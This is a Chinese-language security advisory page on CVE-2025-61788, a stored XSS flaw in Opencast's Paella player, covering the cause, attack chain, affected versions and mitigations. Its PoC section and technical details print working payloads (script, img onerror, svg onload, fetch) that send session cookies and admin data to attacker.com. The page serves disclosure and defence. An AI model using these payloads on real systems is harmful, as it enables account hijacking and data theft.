IPBUF安全漏洞报告
English
CVE-2025-61788 CVSS 5.4 中危

CVE-2025-61788 Opencast Paella播放器存储型XSS漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-61788
漏洞类型
跨站脚本攻击(XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Opencast

相关标签

XSS跨站脚本攻击存储型XSSOpencastPaella播放器教育平台媒体管理GHSA-m2vg-rmq6-p62rCVE-2025-61788中等严重性

漏洞概述

CVE-2025-61788是Opencast开源教育音视频内容管理平台中的一个存储型跨站脚本(Stored XSS)漏洞。Opencast是一款用于录制、编辑、管理和发布教育媒体内容的免费开源平台,广泛应用于高校和教育机构。该漏洞存在于Opencast的Paella播放器组件中,攻击者可以通过上传媒体或修改元数据的方式,向系统注入恶意的HTML和JavaScript代码。由于Paella播放器在渲染媒体时未对用户提交的元数据(如标题、描述等)进行充分的过滤和转义处理,这些恶意代码会被直接嵌入到播放器页面中。当其他用户(包括已登录的管理员或普通用户)观看被污染的媒体内容时,注入的恶意脚本将在其浏览器中自动执行。

该漏洞的危害主要体现在以下几个方面:首先,攻击者可以窃取受害者的会话Cookie或认证令牌,实现账户劫持;其次,可以在受害者浏览器中执行任意操作,如以受害者身份发布内容、修改设置或执行管理操作;此外,攻击者还可以利用该漏洞进行钓鱼攻击、恶意软件分发或进一步的网络渗透。需要注意的是,该漏洞的利用需要攻击者具备系统的写权限(如上传媒体或修改元数据的权限),未经认证的用户无法直接利用此漏洞。该漏洞已在Opencast 17.8和18.2版本中修复。

技术细节

该漏洞的根本原因在于Opencast Paella播放器在渲染媒体内容时,未对用户提交的元数据字段(如title、description等)进行适当的HTML转义或过滤处理。具体而言,当用户上传媒体文件并填写相关元数据时,这些数据被存储到后端数据库中。当其他用户通过Paella播放器观看该媒体时,服务器会将这些元数据直接嵌入到HTML页面中进行渲染,而没有使用安全的输出编码机制。

攻击者可以利用此漏洞构造包含恶意JavaScript代码的元数据。例如,在媒体标题字段中注入类似 `<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>` 的代码。当受害者观看该媒体时,恶意脚本将在受害者的浏览器上下文中执行。由于Paella播放器在Opencast平台中通常以登录用户身份运行,注入的脚本可以访问用户的会话信息并执行特权操作。

该漏洞属于存储型XSS(Stored XSS),因为恶意载荷被持久化存储在服务器端,每次受害者访问受影响的媒体页面时都会触发,无需攻击者进行额外的诱导。漏洞的利用条件是需要攻击者拥有系统的写权限,如媒体上传或元数据编辑权限,这通常仅限于已认证的用户角色。

攻击链分析

STEP 1
步骤1:获取写权限
攻击者首先需要获取Opencast系统的写权限,可以通过注册账户并获得媒体上传权限,或通过其他方式(如盗取凭据)获得对系统的合法访问权限。
STEP 2
步骤2:上传恶意媒体
攻击者上传一个媒体文件到Opencast平台,并在元数据字段(如标题、描述)中注入恶意的HTML和JavaScript代码。这些恶意载荷被存储到后端数据库中。
STEP 3
步骤3:诱导受害者观看
攻击者通过正常渠道分享该媒体链接,或等待管理员/其他用户浏览相关内容。由于恶意代码存储在服务器端,任何观看该媒体的用户都会受到影响。
STEP 4
步骤4:恶意脚本执行
当受害者通过Paella播放器观看被污染的媒体时,服务器返回的页面中包含未转义的恶意脚本,浏览器自动执行这些代码。
STEP 5
步骤5:权限提升与数据窃取
恶意脚本在受害者浏览器上下文中执行,可以窃取会话Cookie、获取敏感信息,或以受害者身份执行管理操作,实现进一步的攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-61788 - Opencast Paella Player Stored XSS PoC This PoC demonstrates how an attacker with write access can inject malicious HTML/JavaScript through media metadata fields. --> <!-- Step 1: Attacker uploads media with malicious metadata --> <!-- The following payload is injected into the media title field --> <script> // Steal session cookie and send to attacker's server var img = new Image(); img.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie); // Or perform actions on behalf of the victim // fetch('/admin/api/users', { credentials: 'include' }) // .then(r => r.json()) // .then(data => fetch('https://attacker.com/exfil', { method: 'POST', body: JSON.stringify(data) })); </script> <!-- Alternative payload using img onerror for cookie theft --> <img src=x onerror="fetch('https://attacker.com/log?c='+document.cookie)"> <!-- Alternative payload using SVG for XSS --> <svg onload="new Image().src='https://attacker.com/x?'+document.cookie"> <!-- Step 2: When victim views the media in Paella player, the malicious script executes --> <!-- The payload gets rendered as part of the media metadata display -->

影响范围

Opencast < 17.8
Opencast 17.x(17.8之前的所有版本)
Opencast 18.x(18.2之前的所有版本)

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制媒体上传和元数据编辑权限,仅授予完全可信的管理员用户;2)在Web应用防火墙(WAF)中部署XSS防护规则,阻止常见的恶意载荷;3)配置内容安全策略(CSP)头,限制内联脚本执行;4)定期审查已上传媒体的元数据,排查可疑内容;5)监控异常的用户行为和未授权的操作;6)强制用户定期更换会话令牌,降低Cookie被盗取后的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表